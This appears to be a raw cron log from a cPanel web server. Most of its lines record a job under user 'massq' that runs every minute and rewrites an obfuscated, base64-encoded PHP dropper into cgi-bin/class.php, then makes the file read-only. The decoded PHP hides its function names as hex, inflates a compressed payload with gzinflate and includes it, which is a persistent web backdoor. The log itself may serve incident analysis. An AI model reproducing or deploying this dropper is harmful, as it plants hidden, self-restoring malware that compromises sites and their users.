Nov 11 19:50:01 server CROND[16697]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:50:01 server CROND[16699]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 19:50:01 server CROND[16696]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 19:50:01 server CROND[16698]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 19:51:01 server CROND[17679]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:52:01 server CROND[18483]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:53:01 server CROND[19305]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:54:01 server CROND[19910]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:55:01 server CROND[20759]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 19:55:01 server CROND[20760]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 19:55:01 server CROND[20761]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:56:01 server CROND[21632]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:57:01 server CROND[22595]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:57:01 server CROND[22596]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 19:58:01 server CROND[23252]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:59:01 server CROND[23920]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:00:01 server CROND[24764]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 11 20:00:01 server CROND[24766]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 20:00:01 server CROND[24768]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:00:01 server CROND[24767]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 20:00:01 server CROND[24769]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 20:01:01 server CROND[25631]: (root) CMD (run-parts /etc/cron.hourly)
Nov 11 20:01:01 server CROND[25632]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:01:01 server run-parts(/etc/cron.hourly)[25631]: starting 0anacron
Nov 11 20:01:01 server run-parts(/etc/cron.hourly)[25644]: finished 0anacron
Nov 11 20:02:01 server CROND[26029]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
